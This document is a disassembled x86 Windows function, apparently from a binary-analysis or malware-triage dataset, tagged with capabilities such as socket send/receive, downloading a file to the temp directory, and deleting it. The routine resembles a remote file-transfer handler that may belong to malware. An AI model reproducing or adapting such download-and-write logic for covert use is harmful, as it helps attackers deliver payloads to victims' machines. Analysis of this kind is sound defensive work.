Function at 0x46f8a0
Capabilities:
Delete file
Download and write a file
Get common file path
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5657b1
mov eax, dword fs:[0]
push eax
sub esp, 0x450
mov eax, dword [0x5b3680]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
xorps xmm0, xmm0
mov dword [ebp - 0x454], eax
xor eax, eax
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0
mov byte [ebp - 0x430], 0
movq qword [ebp - 0x42f], xmm0
mov byte [ebp - 0x427], 0
mov dword [ebp - 0x434], 7
mov dword [ebp - 0x438], 0
mov word [ebp - 0x448], ax
mov dword [ebp - 4], eax
push 0x204
push eax
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x218]
push eax
call fcn.00531bd0
mov ax, word [0x5c2b80]
movq xmm0, qword [0x5c2b78]
mov word [ebp - 0x428], ax
mov eax, dword [0x5ba1b0]
movq qword [ebp - 0x430], xmm0
push dword [eax + 0x1452]
mov ebx, dword [eax + 0x1456]
add eax, 0x145a
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.00531580
add esp, 0x18
mov word [ebp - 0x430], 0x24
mov dword [ebp - 0x42a], 0
cmp ebx, 0xffffffff
je 0x46f9a5
mov dword [ebp - 0x42e], 0x55aa0000
test ebx, ebx
jne 0x46f9af
mov dword [ebp - 0x42e], 0
movq xmm0, qword [ebp - 0x430]
mov ax, word [ebp - 0x428]
mov esi, dword [ebp + 8]
mov edi, dword [sym.imp.WS2_32.dll_send]
push 0
push 0xa
push 0x5c1778
push esi
movq qword [0x5c1778], xmm0
mov word [0x5c1780], ax
call edi
cmp eax, 0xffffffff
je 0x46fbde
cmp ebx, 0xffffffff
je 0x46fbde
test ebx, ebx
je 0x46fbde
lea eax, [ebp - 0x424]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x424]
push eax
lea ecx, [ebp - 0x44c]
call fcn.004031c0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x44c]
call fcn.00443fd0
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x44c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x450], eax
push 0
cmp eax, 0xffffffff
jne 0x46fa8b
push 0xa
lea eax, [ebp - 0x430]
mov word [ebp - 0x430], 0x24
push eax
push esi
mov dword [ebp - 0x42a], 0
mov dword [ebp - 0x42e], 0
call edi
jmp 0x46fb09
push 0x1000
push 0x5c2b78
xor edi, edi
push esi
mov dword [ebp - 0x458], edi
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, 0xffffffff
je 0x46faf1
jmp 0x46fab0
push 0
lea eax, [ebp - 0x458]
push eax
push esi
push 0x5c2b78
push dword [ebp - 0x450]
call dword [sym.imp.KERNEL32.dll_WriteFile]
add edi, esi
cmp edi, ebx
jae 0x46fb38
test esi, esi
je 0x46fb38
push 0
push 0x1000
push 0x5c2b78
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, 0xffffffff
jne 0x46fab0
push dword [ebp - 0x450]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x44c]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor esi, esi
mov byte [ebp - 4], 0
or ecx, 0xffffffff
mov edx, dword [ebp - 0x44c]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x46fbe0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x46fbe0
mov ebx, dword [ebp - 0x450]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push 0
push 0xa
mov dword [ebp - 0x42a], 0
mov ax, word [ebp - 0x428]
push 0x5c1778
push dword [ebp + 8]
mov word [ebp - 0x430], 0x24
mov dword [ebp - 0x42e], 0x55aa0000
movq xmm0, qword [ebp - 0x430]
movq qword [0x5c1778], xmm0
mov word [0x5c1780], ax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x46fba0
push ebx
call esi
jmp 0x46fb09
mov eax, dword [ebp - 0x44c]
cmp dword [eax - 4], 1
jle 0x46fbc0
push dword [eax - 0xc]
lea ecx, [ebp - 0x44c]
call fcn.004024c0
mov eax, dword [ebp - 0x44c]
push eax
push 0x104
push dword [ebp - 0x454]
call fcn.0052c92e
add esp, 0xc
mov esi, 1
jmp 0x46fb0b
xor esi, esi
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov word [ebp - 0x448], ax
mov eax, esi
mov dword [ebp - 0x434], 7
mov dword [ebp - 0x438], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005295e2
mov esp, ebp
pop ebp
ret 0xc